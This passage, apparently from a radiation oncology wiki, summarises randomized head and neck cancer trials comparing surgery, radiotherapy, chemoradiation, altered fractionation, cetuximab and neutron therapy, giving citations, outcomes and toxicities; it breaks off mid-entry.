***Definitive RT arm: For OC and OP lesions (three-arm randomization), 4-yr OS pre-op 30% vs post-op 36% vs definitive 33% (NS), and LRC 43% vs 52% vs 38% (NS); however total number of patients was small
***Conclusion: Post-op RT superior to pre-op RT; insufficient info on definitive RT comparison 
**'''10-years; 1999''' {{PMID|1993628}} &amp;mdash; &quot;Randomized study of preoperative versus postoperative radiation therapy in advanced head and neck carcinoma: long-term follow-up of RTOG study 73-03.&quot; (Tupchong L et al. Int J Radiat Oncol Biol Phys. 1991 Jan;20(1):21-8.)
***Only pre-op vs. post-op subset (n=277). Oral cavity (14%), oropharynx (17%), hypopharynx (43%), supraglottic larynx (26%) 
***Outcome: LRC pre-op 58% vs. post-op 70% (SS), &lt;2 years no difference (failures 59% vs. 58%), but marked &gt;2 years (failures 27% vs 8%); OS no difference due to late (&gt;2 years) deaths from DM and from second primaries
***Supraglottic larynx: LRC pre-op 53% vs. post-op 77% (SS); 78% failures &lt;2 years
***Toxicity: no difference
***Conclusion: Post-op RT better for LRC (especially in SGL), but no impact on OS due to distant failure and second primaries
**Comment: some argument for definitive chemoRT instead of surgery and post-op RT since after 2 yrs, distant mets are primary cause of failure resulting in similar 10 OS in this trial. LRC still better for post-op vs definitive RT alone. Also, different doses used, at the time believed equivalent given the setting


====Induction Chemotherapy vs. Surgery + Post-op RT====
*'''SWOG 8006''' (1980-1985) -- Induction chemo vs. standard surgery + RT
**Randomized. 158 patients. Stage III-IV, resectable HNSCC (oral cavity, oropharynx, hypopharynx, larynx). Arm 1) Surgery + post-op RT vs. Arm 2) Induction cisplatin 50 mg/m2 + MTX + vincristine + bleomycin
**'''1988''' {{PMID|3054373}} -- &quot;Preoperative chemotherapy in advanced resectable head and neck cancer: final report of the Southwest Oncology Group.&quot; (Schuller DE, Laryngoscope. 1988 Nov;98(11):1205-11.) Median F/U 5 years
***Outcome: median OS induction chemo 1.5 years vs. control 2.5 years (NS)
***Conclusion: No benefit for induction chemo


====Post-op RT vs. Post-op concurrent chemo-RT====
*'''RTOG 95-01 / Intergroup''' (1995-2000) -- cisplatin 100 mg/m2 Q3W
**Randomized. 416 patients. Oral cavity, oropharynx, larynx, hypopharynx. Macroscopically complete resection. High risk (2 or more positive lymph nodes, or ECE, or SM+). Arm 1) RT alone vs RT with concurrent cisplatin (100 mg/m2 Q3W x 3 cycles). RT 60/30 plus optional boost to 66/33 high-risk areas. High risk groups: 81% with 2+ LN or ECE+; 19% with positive margins. Primary endpoint LRC.
**'''2-years; 2004''' {{PMID|15128893}} &amp;mdash; &quot;Postoperative concurrent radiotherapy and chemotherapy for high-risk squamous-cell carcinoma of the head and neck.&quot; (Cooper JS et al. N Engl J Med. 2004 May 6;350(19):1937-44.). Median F/U 3.7 years
***Outcome: 2 year LRC chemo-RT 82% vs. RT 72% (SS), DFS significantly increased with a HR of 0.78 (2-year estimates not reported), but OS not significantly different.
***Toxicity: acute Grade 3+ chemo-RT 77% vs. RT 34% (SS); late effects 21% vs. 17% (NS); 2% treatment-related death, all in chemo-RT group
***Conclusion: In high risk patients, postop concurrent chemo-RT improves LRC and DFS. Toxicity is substantially higher

*'''France''' (1994-2002) -- carboplatin 
**Randomized. ''Stopped early after publication of French trial (Bachaud 1996)''. 144 patients, oropharynx (49%), hypopharynx (29%), larynx (22%), T1-4N0-3, macroscopic resection. Surgery + neck dissection. Arm 1) RT vs. Arm 2) RT + concurrent carboplatin 50mg/m2 BIW. RT 54 Gy if R0, 72 Gy if R1, bilateral neck 54 Gy, ECE boost 9 Gy.
**'''2008''' {{PMID|18222010}} -- &quot;Randomized clinical trial of post-operative radiotherapy versus concomitant carboplatin and radiotherapy for head and neck cancers with lymph node involvement.&quot; (Racadot S, Radiother Oncol. 2008 Jan 24 [Epub ahead of print]). Median F/U 8.8 years
***Outcome: 2-year LRC RT alone 68% vs. chemo-RT 73% (NS), worse for oropharynx vs. larynx; OS 55% vs. 58% (NS)
***Conclusion: Concurrent carboplatin BIW showed no benefit

*'''EORTC 22931''' (1994-2000) -- cisplatin 100 mg/m2 Q3W
**Randomized. 334 patients. Oral cavity, oropharynx, hypopharynx, or larynx. T3-4 any N with negative margins (except T3N0 of larynx); T1-2 N2-3; T1-2 N0-1 with high-risk features (ECE, SM+, PNI, LVI); or oral cavity/oropharynx with LN+ at levels IV or V. Arm 1) RT alone vs. Arm 2) RT + concurrent cisplatin 100 mg/m2 Q3W. RT dose 54/27 +  boost to 66 Gy high risk areas. High risk groups: 56% with 2+ LN; 26% with positive margins; 53% with extracapsular extension. Primary end-point PFS.
**'''5-years; 2004''' {{PMID|15128894}} - &quot;Postoperative irradiation with or without concomitant chemotherapy for locally advanced head and neck cancer.&quot; (Bernier J, N Engl J Med. 2004 May 6;350(19):1945-52.) Median F/U 5 years
***Outcome: 5-year PFS chemo-RT 47% vs RT 36% (SS); OS 53% vs 40% (SS); LRC 82% vs 69% (SS). No difference in DM rate (21% vs. 25%, NS). 
***Toxicity: No difference between groups
***Conclusion: Post-op concurrent cisplatin with RT is more efficacious in locally advanced H&amp;N, without significantly more complications

*'''France''' (1984-88) -- cisplatin 50 mg/m2 QW
**Randomized. ''Closed early due to slow accrual due to increasing use of neoadjuvant chemotherapy.'' 83 patients. Stage III-IV oral cavity, oropharynx, hypopharynx, larynx, or unknown primary, LN+ with ECE. Arm 1) RT alone vs. Arm 2) RT + cisplatin 50 mg/m2 QW. RT 65-70 Gy (1.7 Gy/fx), neck 54 Gy 
**'''1996''' {{PMID|8985019}} &amp;mdash; &quot;Combined postoperative radiotherapy and weekly cisplatin infusion for locally advanced head and neck carcinoma: final report of a randomized trial.&quot; (Bachaud JM et al. Int J Radiat Oncol Biol Phys. 1996 Dec 1;36(5):999-1004.) 
***Outcome: LRF RT alone 41% vs. chemo-RT 23% (p=0.08), similar DM rate, 2-year OS 46% vs. 72% (SS), 5-year OS 13% vs. 36% (SS)
***Severe late toxicity: RT alone 15% vs. chemo-RT 20%
***Conclusion: Improved survival with concurrent cisplatin

*'''Yale''' (1980-92) -- Mitomycin C
**Randomized. 2 consecutive randomized trials. 113 patients, treated with surgery. Arm 1) RT vs. Arm 2) RT with concurrent Mitomycin C 15 mg/m2 x 1-2 doses. Second trial: Arm 1) RT vs. Arm 2) RT + Mitomycin C with dicoumarol.
**'''5-years; 1993''' {{PMID|7691784}} -- &quot;Mitomycin C as an adjunct to postoperative radiation therapy in squamous cell carcinoma of the head and neck: results from two randomized clinical trials.&quot; (Haffty BG, Int J Radiat Oncol Biol Phys. 1993 Sep 30;27(2):241-50.) Median F/U 7.7 years
***Outcome: LRC mitomycin C 87% vs. control 67% (SS), DFS 67% vs. 44%, OS 56% vs. 41% (NS). No local failures in Mitomycin C arm vs. 12 in RT alone
***Conclusion: Concurrent Mitomycin C with RT results in improved DFS, and LRC benefit

====Post-op RT vs. Post-op sequential chemo-RT====
*'''RTOG 85-03 / Intergroup 0034''' (1984-1989) - cisplatin/5-FU
**Randomized. 442 patients. Completely resected tumors of oral cavity, oropharynx, hypopharynx, or larynx. Arm 1) Post-op RT alone vs Arm 2) Post-op chemotherapy (cisplatin/5-FU x 3 courses q3wk) followed by RT. RT dose 50-54 Gy; boost to 60 Gy for close margins (&lt;5mm) or ECE.
**'''1992''' {{PMID|1618662}} &amp;mdash; &quot;Adjuvant chemotherapy for resectable squamous cell carcinomas of the head and neck: report on Intergroup Study 0034.&quot; (Laramore GE, Int J Radiat Oncol Biol Phys. 1992;23(4):705-13.) Median F/U 3.8 years
***Outcome: 4-year OS RT 44% vs. chemo-RT 48% (NS); DFS 38% vs. 46% (NS); LRC 70% vs. 74% (NS); reduced first failure in neck 10% vs. 5% (SS), DM 23% vs. 15% (SS)
***Subgroup analysis of high-risk group (margins &lt; 5mm, CIS at margin, ECE) showed a trend to improvement in LC with chemo. So it may be important to select high-risk group to see a benefit from chemo.
***Conclusion: No benefit for adjuvant sequential chemo-RT over RT alone

*'''Loma Linda''' (1979-1983) -- induction/sequential adjuvant MTX
**Randomized. 55 patients. Potentially resectable SCCHN. Arm 1) Surgery + RT vs. Arm 2) Induction MTX x4 doses then surgery then MTX x4 doses then RT then MTX x8 doses. RT 60 Gy or 65 Gy with close SM
**'''1987''' {{PMID|3806169}} -- &quot;Adjuvant methotrexate escalated to toxicity for resectable stage III and IV squamous head and neck carcinomas--a prospective, randomized study.&quot; (Rentschler RE, J Clin Oncol. 1987 Feb;5(2):278-85.)
***Outcome: No difference in DFS or OS (numbers not given); no difference in sites of recurrence
***Conclusion: No benefit for sequential MTX

====Postop Alternative Fractionation====
*'''Sklodowska-Curie Cancer Center, Poland''' (2001-2004) -- conventional RT 5-days/week vs. accelerated RT 7-days/week
**Randomized. 279 patients, high-risk SCC larynx (57%) vs. oral cavity/oropharynx (43%). High risk determined by score using tumor site, SM status, SM width, LVI, grade, number of LN+, ECE, and LN grade. Surgery + lymph node dissection. Arm 1) Conventional RT 63/35 over 7 weeks vs. Arm 2) Accelerated RT 63/35 over 5 weeks
**'''2008''' {{PMID|18342964}} -- &quot;Randomized clinical trial on 7-days-a-week postoperative radiotherapy for high-risk squamous cell head and neck cancer.&quot; (Suwinski R, Radiother Oncol. 2008 May;87(2):155-63. Epub 2008 Mar 14.)
***Outcome: 3-year LRC CF 64% vs. CAIR 70% (NS). Planned subset analysis oropharynx/oral cavity 53% vs. 74% (SS), larynx 72% vs. 67% (NS). LC 73% vs. 81% (NS); neck control 81% vs. 83% (NS). 3-year OS 52% vs. 55% (NS)
***Toxicity: Confluent mucositis CF 33% vs. CAIR 60%, but considered acceptable. Late toxicity Grade 3-4 CF 6% vs. 13%
***Conclusion: Improvement in LRC restricted to patients with oropharynx/oral cavity; no benefit in patients with larynx

*'''Italy Multi-Institutional''' (1994-2001) -- conventional 60/30 vs. accelerated concomitant boost 64/35
**Randomized. 226 patients, locally advanced oral cavity, oropharynx, larynx, or hypopharynx, with high-risk features (pT4, SM+, N2-3, PNI+, LVI+, ECE+, subglottic extension) after surgery. Arm 1) conventional RT 60/30 vs. Arm 2) accelerated RT &quot;biphasic concomitant boost&quot; during first/last week to deliver 64 Gy over 5 weeks. Primary endpoint LRC
**'''2005''' {{PMID|15708255}} -- &quot;Accelerated versus conventional fractionated postoperative radiotherapy for advanced head and neck cancer: results of a multicenter Phase III study.&quot; (Sanguineti G, Int J Radiat Oncol Biol Phys. 2005 Mar 1;61(3):762-71.) Median F/U 2.5 years
***Outcome: 2-year LRC CF 80% vs. AF 78% (NS), trend to benefit for patients with RT delay &gt;7 weeks. 2-year OS 67% vs. 64% (NS)
***Toxicity: Confluent mucositis CF 27% vs. AF 50% (SS), duration same. Late toxicity 18% vs. 27% (NS), though data preliminary
***Conclusion: Accelerated fractionation not beneficial overall, might be option for patients who delay starting RT

*'''MDACC/Mayo/Moffitt''' (1991-1995) -- risk adapted; conventional 63/35 in 7 weeks vs. accelerated 63/35 in 5 weeks
**Risk adapted, part randomized. 213 patients, oral cavity, oropharynx, larynx, hypopharynx. Risk factors ECE, &gt;1 nodal group, &gt;=2 LN+, &gt;3-cm LN, oral cavity, SM+, PNI+ (Peters 1993)
***Low risk (no risk factors): no RT
***Intermediate risk (1 risk factor, excluding ECE): conventional RT 57.6/32
***High risk (ECE or 2+ risk factors): randomized Arm 1) conventional RT 63/35 in 7 weeks vs. accelerated RT 63/35 in 5 weeks concomitant boost. Undissected neck received 54 Gy and dissected but negative neck 57.6 Gy.
**'''2001''' {{PMID|11597795}} &amp;mdash; &quot;Randomized trial addressing risk features and time factors of surgery plus radiotherapy in advanced head-and-neck cancer.&quot; (Ang KK, Int J Radiat Oncol Biol Phys. 2001 Nov 1;51(3):571-8.) Median F/U 4.9 years
***Outcome: 5-year LRC low risk patients 90% vs. intermediate risk patients 94% vs. high risk patients 68% (SS). High risk CF ~60% vs. AF ~75% (NS). 5-year OS low risk 83% vs. intermediate risk 66% vs. high risk 42%, CF ~35% vs. AF ~50% (NS)
***Treatment time: 5-year LRC &lt;11 weeks 76% vs. &gt;11 weeks 62% vs &gt;13 weeks 38% (SS); 5-year OS 48% vs. 27% v. 25% (SS). Surgery-RT interval &gt;6 weeks detrimental
***Conclusion: Risk stratification appropriate. Accelerated fractionation better for patients with delay &gt;6 weeks of starting RT, combined treatment time should be &lt;11 weeks

*'''Cairo, Egypt''' -- conventional RT 60/30 vs. accelerated RT 46.2/33 TID in 2 weeks
**Randomized. 70 patients, T2N1-2 or T3-4 any N, s/p radical surgery. Arm 1) conventional RT 60/30 vs. Arm 2) accelerated RT 46.2/33 TID over 2 weeks
**'''2002''' {{PMID|11870530}} -- &quot;Accelerated hyperfractionation (AHF) compared to conventional fractionation (CF) in the postoperative radiotherapy of locally advanced head and neck cancer: influence of proliferation.&quot; (Awwad HK, Br J Cancer. 2002 Feb 12;86(4):517-23.)
***Outcome: 3-year LRC AHF 88% vs. CF 57% (SS), 3-year OS 60% vs. 46% (NS). No benefit for T(pot) evaluation on multivariate analysis, though rapid tumors higher risk of DM. Surgery-RT gap shouldn't exceed 6 weeks
***Toxicity: acute mucositis more severe in AHF, fibrosis and late edema also worse in AHF
***Conclusion: Accelerated hyperfractionation improved local control, but without survival impact

*'''Cairo, Egypt''' -- conventional RT 50/25 vs. accelerated RT 42/30 TID in 11 days
**Randomized. 56 patients, locally advanced HNSCC, s/p radical surgery. Arm 1) conventional RT 50/25 vs. Arm 2) accelerated RT 42/30 TID over 11 days
**'''1992''' {{PMID|1480771}} -- &quot;Accelerated versus conventional fractionation in the postoperative irradiation of locally advanced head and neck cancer: influence of tumour proliferation.&quot; (Awwad HK, Radiother Oncol. 1992 Dec;25(4):261-6.)
***Outcome: 3-year DFS 46%, no difference between arms. AHF better survival in fast growing tumors (thymidine labeling index &gt;10.4%)
***Toxicity: Acute toxicity higher in AF arm, but 3-year late toxicity CF 87% vs. AF 64% (SS)
***Conclusion: No survival benefit for AF overall, but benefit in faster growing tumors

===Primary RT===
====Primary RT vs. Concurrent Chemo-RT====
*'''Slovenia''' (1997-2001) -- RT vs. RT + mitomycin C + bleomycin
**Randomized. 114 patients, Stage III-IV SCCHN (oral cavity, oropharynx, hypopharynx, larynx). Primary curative surgery. Arm 1) Post-op RT (56 Gy if R0, 66-70 Gy if R1-2) vs. Arm 2) Same RT + concurrent mitomycin C and bleomycin. Stratified in regular risk and high risk (ECE, PNI, LVI, R1-2)
**'''5-years; 2007''' {{PMID|17197122}} -- &quot;Patterns of failure in patients with locally advanced head and neck cancer treated postoperatively with irradiation or concomitant irradiation with Mitomycin C and Bleomycin.&quot; (Zakotnik B, Int J Radiat Oncol Biol Phys. 2007 Mar 1;67(3):685-90. Epub 2006 Dec 29.)
***Outcome: 5-year LRC chemo-RT 88% vs. RT alone 65% (SS), DFS 53% vs. 33% (SS), OS 55% vs. 37% (NS). No difference in DM rate (20% vs. 22%, NS). Second malignancy chemo-RT 8% vs. RT 34% (SS)
***Toxicity: Grade 3+ chemo-RT 26% vs. RT 19% (NS), thyroid dysfunction 56% vs. 36% (NS)
***Conclusion: Concomitant chemo-RT improves LRC and DFS; second primaries less frequent

*'''GORTEC, France''' (1994-1997) -- RT vs RT + concurrent 5-FU/carboplatin
**'''1999''' {{PMID|10601378}} &amp;mdash; &quot;Randomized trial of radiation therapy versus concomitant chemotherapy and radiation therapy for advanced-stage oropharynx carcinoma.&quot; (Calais G, J Natl Cancer Inst. 1999 Dec 15;91(24):2081-6.)
**Randomized. 222 patients, Stage II-IV oropharynx. Arm 1) RT 70/35 vs Arm 2) Same RT with concurrent 5-FU 600 mg/m2 and carboplatin 70 mg/m2 x3 cycles
***Outcome: 3-year LRC 42% vs 66% (SS); 3-year OS RT 31% vs chemo-RT 51% (SS)
***Toxicity: Grade 3-4 mucositis RT 39% vs chemo-RT 71% (SS), skin toxicity comparable
***Conclusion: Significant improvement in locoregional control and overall survival with concurrent chemotherapy
**ASTRO 2002: 5-yr OS 23% vs 16% (p=0.05), 5-yr LRC 48% vs 25% (SS), no diff in DM.

*'''Head and Neck Intergroup''' (1992-1999) -- RT vs. chemo-RT vs. split-course chemo-RT
**Randomized, 3 arms. ''Stopped prematurely for poor accrual.'' 295/462 patients with strictly unresectable HNSCC, excluding nasopharynx, paranasal sinus, salivary glands, or unknown primary. Arm 1) RT alone 70/35 vs. Arm 2) RT 70/35 + concurrent cisplatin 100 mg/m2 Q3W (based on RTOG 81-17) vs. Arm 3) Split course RT 30/15 + concurrent cisplatin 75 mg/m2 and 5-FU 1000 mg/m2, followed by surgery (if resectable, 16%), otherwise additional RT 30-40 Gy
**'''2003''' {{PMID|12506176}} &amp;mdash; &quot;An intergroup phase III comparison of standard radiation therapy and two schedules of concurrent chemoradiotherapy in patients with unresectable squamous cell head and neck cancer.&quot; (Adelstein DJ, J Clin Oncol. 2003 Jan 1;21(1):92-8.) Median F/U 3.4 years
***Outcome: 3-year OS RT 23% vs. chemo-RT 37% (SS) vs. Split-course chemo-RT 27% (NS); 3-year DSS 33% vs. 51% (SS) vs. 41% (NS). No difference in site of failure, DM rate ~20%
***Toxicity: Grade 3+ RT 52% vs. chemo-RT 89% vs. split-course chemo-RT 77%
***Conclusion: Addition of concurrent high dose cisplatin to conventional radiation improves surival

*'''UKHAN1''' (1990-2000) -- RT vs concurrent chemo vs adjuvant chemo vs concurrent+adjuvant chemo
**Randomized, primary and post-op strata. 966 patients, either definitive or postop. Chemo was non-platin (MTX or MTX + vincristine + bleomycin + 5-FU)
***Definitive: Arm 1) RT alone vs Arm 2) concurrent chemo vs Arm 3) adjuvant chemo vs Arm 4) concurrent + adjuvant chemo. 
***Post-op: Arm 1) RT vs. Arm 2) RT + concurrent chemo
**'''10-years; 2009''' {{PMID|19875337}} -- &quot;Chemoradiotherapy for locally advanced head and neck cancer: 10-year follow-up of the UK Head and Neck (UKHAN1) trial.&quot; (Tobias JS, Lancet Oncol. 2009 Oct 27. [Epub ahead of print])
***Outcome:
****Definitive: Median OS RT 2.6 years vs. concurrent 4.7 years vs adjuvant 2.3 years vs concurrent + adjuvant 2.7 year; median EFS 1.0 vs 2.2 vs 1.0 vs 1.0 years
****Post-op: Median OS RT 5.0 years vs. concurrent 4.6 years (NS); median EFS 3.7 vs 3.0 years (NS)
***Toxicity: RT 11% vs. concurrent 28% vs. adjuvant 12% vs concurrent + adjuvant 36%. In postop: RT 9% vs. concurrent 20%
***Conclusion: Concurrent non-platinum chemo-RT improves outcomes; chemo after RT is ineffective. Post-op patients do not benefit from non-platinum chemo

*'''RTOG 84-06''' (1984-1987) -- low dose (20 mg/m2) cisplatin
**Randomized. 371 patients. Stage III-IV unresectable. Arm 1) RT alone conventional 68-78 Gy vs. Arm 2) same RT + low dose cisplatin 20 mg/m2/week
**'''1990''' - &quot;Radiation alone vs. radiation with weekly low dose cisplatinum in unresectable cancer of the head and neck&quot; (Haselow RE, in Head and Neck Cancer Vol II. Fee WE (ed), Toronto: B. C. Decker: 1990:279-281)
***Outcome: No difference in LRC or OS
***Conclusion: No benefit for concurrent low-dose weekly cisplatin

*'''Wisconsin''' (1961-1973) -- 5-FU
**Randomized. Subset report of 136 patients oral cavity, oropharynx. Advanced SCCHN. Arm 1) RT alone vs. Arm 2) RT + concurrent 5-FU 5 mg/kg. RT 50-60 Gy using orthovoltage/Cobolt/4MV sources
**'''1976''' {{PMID|175693}} -- &quot;Combined radiation therapy and 5-fluorouracil for advanced squamous cell carcinoma of the oral cavity and oropharynx: a randomized study.&quot; (Lo TC, AJR Am J Roentgenol. 1976 Feb;126(2):229-35.)
***Outcome: LC and OS better in chemo-RT, but only oral cavity significant (2-year LC 18% vs. 55%)
***Toxicity: Both acute and late complications more severe in concurrent group 
***Conclusion: Concurrent 5-FU appears effective, but complications

====Primary RT +/- Cetuximab====
*'''Cetuximab Trial''' (1999-2002) -- '''RT +/- cetuximab'''
**Randomized. 424 pts. Stage III-IV, scca of oropharynx, hypopharynx, or larynx. 56-63% had tumors of the oropharynx. Randomized to RT +/- cetuximab. Given as 400 mg/m2 loading dose IV one week before RT, followed by weekly infusions of 250 mg/m2 during RT.
**One of three radiotherapy regimens (70 Gy at 2 Gy/fx qd, 72-76.8 Gy at 1.2 Gy BID, or 72 Gy in 42 fractions concomitant boost 1.8+1.5 Gy). 56% used concomitant boost, 26% once daily, and 18% twice daily. 
**'''3-years, 2006''' {{PMID|16467544}}, 2006 &amp;mdash; &quot;Radiotherapy plus cetuximab for squamous-cell carcinoma of the head and neck.&quot; Bonner JA et al. N Engl J Med 2006; 354: 567-78. Median F/U 4.5 years. 
***Locoregional control: Median duration Cetuximab + RT 24.4 months vs RT alone 14.9 mo (SS); 3-year LRC: 47% vs. 34%. Cetuximab 32% reduction in LR progression
***Progression-free survival: Median 17.1 months vs. 12.4 months; 3-year PFS 42% vs. 31%; Risk of DM similar
***Survival: Median 4.1 years vs 2.4 years (SS); 3-yr OS 55% vs 45%. Cetuximab 26% reduction in the risk of death. 
***Toxicity: Comparable, except 9 patients rash. Second primary cancer in 8% vs 5%.
***Conclusion: improved survival (10% absolute at 3-yrs) and locoregional control.
**'''QoL, 2007''' {{PMID|17538164}} -- &quot;Quality of life in head and neck cancer patients after treatment with high-dose radiotherapy alone or in combination with cetuximab.&quot; (Curran D, J Clin Oncol. 2007 Jun 1;25(16):2191-7.)
***Quality of Life assessment (QLQ-C30) at baseline, week 4, month 4, month 8, one year.
***Outcome: No significant differences
***Conclusion: Cetuximab improves locoregional control and survival without adversely impacting QoL
**'''Editorial''' {{PMID|16467552}}: RT alone in the control arm is suboptimal therapy; current standard of care is RT + cisplatin, which has shown greater benefit than cetuximab. Also, cetuximab appeared only effective in the hyperfractionated arms. No survival benefit for hypopharynx and larynx subgroups. Standard of care should still be RT + cisplatin, but if not tolerated, then cetuximab a good option

====Primary RT vs. Induction Chemo + RT====
*'''RTOG 68-01'''
**Randomized. 638 patients, Stage III-IV oral cavity (23%), oropharynx (55%), supraglottic larynx (12%), hypopharynx (10%). Arm 1) RT alone vs. Arm 2) IV MTX 25 mg q3d x5 followed by RT. RT 55-80 Gy
**'''1980''' {{PMID|7410127}} -- &quot;Adjuvant intravenous methotrexate or definitive radiotherapy alone for advanced squamous cancers of the oral cavity, oropharynx, supraglottic larynx or hypopharynx.&quot; (Fazekas JT, Int J Radiat Oncol Biol Phys. 1980 May;6(5):533-41.)
***Outcome: median OS RT vs. MTX-RT: oral cavity 11.8 mo vs. 12.4 mo, oropharynx 13.6 mo vs. 13.1 mo, SGL 17.2 mo vs. 19.2 mo, hypopharynx 9.7 mo vs. 13.4 mo
***Conclusion: Minimal gain, induction methotrexate should not be used

====RT with concurrent IV cisplatin vs IA cisplatin====
*'''Netherlands Cancer Institute''' (2000-2004) -- Concurrent RT and intra-arterial cisplatin vs intravenous cisplatin
**Randomized. 239 patients, unresectable H&amp;N. Arm 1) intravenous cisplatin 100 mg/m2 Q3W vs Arm 2) intra-arterial cisplatin 150 mg/m2 QW x4 weeks + sodium thiosulfate rescue. RT 70/35
**'''2010''' {{PMID|20187094}} -- &quot;Intra-arterial versus intravenous chemoradiation for advanced head and neck cancer: Results of a randomized phase 3 trial.&quot; (Rasch CR, Cancer. 2010 Feb 24. [Epub ahead of print]) Median F/U 2.7 years
***Outcome: 3-year LC IV 70% vs IA 76% (NS); LRC 65% vs 63% (NS); DFS 47% vs 44% (NS); OS 47% vs 51% (NS)
***Toxicity: renal Grade 3+ IV 9% vs IA 1% (SS)
***Conclusion: Intra-arterial cisplatin chemo-RT not superior to intravenous chemo-RT

===Radiation Technique===
====Altered fractionation====
*'''Chandigarh, India''' (1998-2004) -- Standard QD vs. Concomitant Boost
**Randomized. SCCHN, Stage III-IV oropharynx, hypopharynx, larynx. Arm 1) 66/33 vs. Arm 2) concomitant boost 45/25 + 22.5/15 over 5 weeks, &gt;6 hours apart. Compliance &gt;95%
**'''2008''' {{PMID|18343310}} -- &quot;Concomitant Boost Radiotherapy Compared with Conventional Radiotherapy in Squamous Cell Carcinoma of the Head and Neck - a Phase III Trial from a Single Institution in India.&quot; (Ghoshal S, Clin Oncol (R Coll Radiol). 2008 Apr;20(3):212-20.)
***Outcome: 2-year DFS standard 52% vs. concomitant 72% (SS), LRC 55% vs. 74% (SS). 
***Toxicity: Grade 3 mucositis standard 19% vs. concomitant 35% (SS). No difference in days missed
***Conclusion: Concomitant boost superior in advanced H&amp;N cancers

*'''RTOG 90-03''' (1991-1997) -- SF vs HF vs Split course AFX vs AFX-CB
**Randomized, 4 arms. 1073 patients. Stage III-IV (oral cavity, oropharynx, or supraglottic larynx) or Stage II-IV (base of tongue, hypopharynx). Arm 1) SF standard fractionation 70/35 @ 2 Gy/fx vs. Arm 2) HF hyperfractionated 81.6/68 @ 1.2 Gy BID vs. Arm 3) AFX-S split course accelerated fractionation 67.2/42 @ 1.6 Gy BID with 2 week break after 38.4 Gy vs. Arm 4) AFX-CB concomitant boost 72 Gy given 54/30 @ 1.8 Gy + 18/12 @ 1.5 Gy concurrent BID boost
**'''2-years; 2000''' {{PMID|10924966}} -- &quot;A Radiation Therapy Oncology Group (RTOG) phase III randomized study to compare hyperfractionation and two variants of accelerated fractionation to standard fractionation radiotherapy for head and neck squamous cell carcinomas: first report of RTOG 9003.&quot; (Fu KK, Int J Radiat Oncol Biol Phys. 2000 Aug 1;48(1):7-16.). Median F/U 2 years, 3.4 for alive patients
***Outcome: 2-year LRC SF 46% vs. HF 54% (SS) vs. AFX-S 47% (NS) vs. AFX-CB 54% (SS); DFS 32% vs. 38% (NS) vs. 33% (NS) vs. 39% (NS); OS 46% vs. 54% (NS) vs. 46% (NS) vs. 51% (NS)
***Sites of failure: LF 44% vs. 38% vs. 43% vs. 375; RF 32% vs. 27% vs. 31% vs. 33%
***Toxicity: Increased acute effects but no increase in late effects
***Conclusion: HF or CB improve LRC compared to SF, no impact on DFS and OS. Split course comparable to SF

*'''CHART Trial, UK''' (1990-1995) -- CHART 54/36 over 12 days vs RT 66/33
**Randomized. 918 patients, suitable for radical RT (excluding T1N0). Arm 1) CHART (54/36 @ 1.5 Gy/fx TID over 12 consecutive days vs Arm 2) 66/22 over 6.5 weeks. No chemotherapy
**'''2010''' {{PMID|20394851}} -- &quot;Mature results of a randomized trial of accelerated hyperfractionated versus conventional radiotherapy in head-and-neck cancer.&quot; (Saunders MI, Int J Radiat Oncol Biol Phys. 2010 May 1;77(1):3-8.)
***Outcome: 10 year locoregional relapse CHART 57% vs conventional 50% (NS); DSS 56% vs 58% (NS), OS 26% vs 29% (NS)
***Toxicity: Lower skin toxicity, severe xerostomia, laryngeal edema, and mucosal necrosis with CHART (SS)
***Conclusion: Control with CHART similar to conventional RT; a treatment option for patients unable to undergo concurrent chemo-RT

*'''RTOG 79-13''' (1979-83) - 1.2 Gy BID vs. 1.8-2 Gy daily
**Randomized. 187 patients. Stage III-IV, or T2N0 base of tongue, nasopharynx, and maxillary sinus.  Conventional RT (66-73.8 Gy in 1.8-2 Gy/fx QD) vs hyperfractionated (60 Gy in 1.2 Gy BID, 3-6 hrs apart)
**'''1987''' {{PMID|3542916}} &amp;mdash; &quot;Hyperfractionated photon radiation therapy in the treatment of advanced squamous cell carcinoma of the oral cavity, pharynx, larynx, and sinuses, using radiation therapy as the only planned modality: (preliminary report) by the Radiation Therapy Oncology Group (RTOG).&quot; Marcial VA et al. Int J Radiat Oncol Biol Phys. 1987 Jan;13(1):41-7.
***Outcome: 2-year LRC conventional 29% vs. hyperfractionated 30% (NS)
***Toxicity: Worse acute toxicity but similar rate of late reactions. More severe acute reactions if interfraction interval &lt;4.5 hours
***Conclusion: No outcome difference, worse acute toxicity

====Neutrons====
*'''NTCWG 85-22''' (1986-1991) -- neutrons vs photons
**Randomized. 5 institutions in US and UK. 169 patients, Stage III-IV (T1N3, T2N+, or T3-4) SCC of H&amp;N. Arm 1) neutrons 20.4/12 over 4 weeks vs. Arm 2) photons 70/35
**'''1995''' {{PMID|7790244}} -- &quot;Fast-neutron therapy in advanced head and neck cancer: a collaborative international randomized trial.&quot; (Maor MH, Int J Radiat Oncol Biol Phys. 1995 Jun 15;32(3):599-604.)
***3-year outcome: CR neutrons 70% vs. photons 52% (SS); LRF 63% vs. 68% (NS); OS 27% both arms (NS)
***Toxicity: acute comparable, late Grade 3-5 neutrons 40% vs. photons 18% (SS)
***Conclusion: Long term outcomes comparable, but toxicity worse with neutrons

*'''RTOG-MRC Neutron Trial''' -- neutrons vs. photons/electrons
**Randomized. ''Stopped early due to neutron advantage.'' 32 patients, inoperable or recurrent major or minor salivary gland tumors. Arm 1) Neutrons (17-22 nGy) vs. Arm 2) photon/electrons (55 Gy/4 weeks or 70 Gy/7.5 weeks)
**'''Final; 1993''' {{PMID|8407397}} -- &quot;Neutron versus photon irradiation for unresectable salivary gland tumors: final report of an RTOG-MRC randomized clinical trial.&quot;  (Laramore G, Int J Radiat Oncol Biol Phys. 1993 Sep 30;27(2):235-40)
***Outcome: 10-year LRC neutrons 56% vs. photons/electrons 17% (SS); OS 25% vs. 15% (NS). Median OS 3 years vs. 1.2 years
***Toxicity: Severe toxicity worse in neutron arm, but no difference in &quot;life-threatening&quot; complications
***Conclusion: Fast neutron RT appears to be the treatment of choice for patients with inoperable/recurrent salivary gland tumors

*'''US Neutron Cooperative''' (1977-1982) -- neutrons/photons vs. photons/electrons
**Randomized. 327 patients, inoperable SCC of H&amp;N (oral cavity, oropharynx, supraglottic larynx, hypopharynx), T2-4 any N. Arm 1) neutron/photon beams (photons 40-44 Gy + neutrons 7.5-10 Gy) vs. 2) photon/electron beams 66-74 Gy
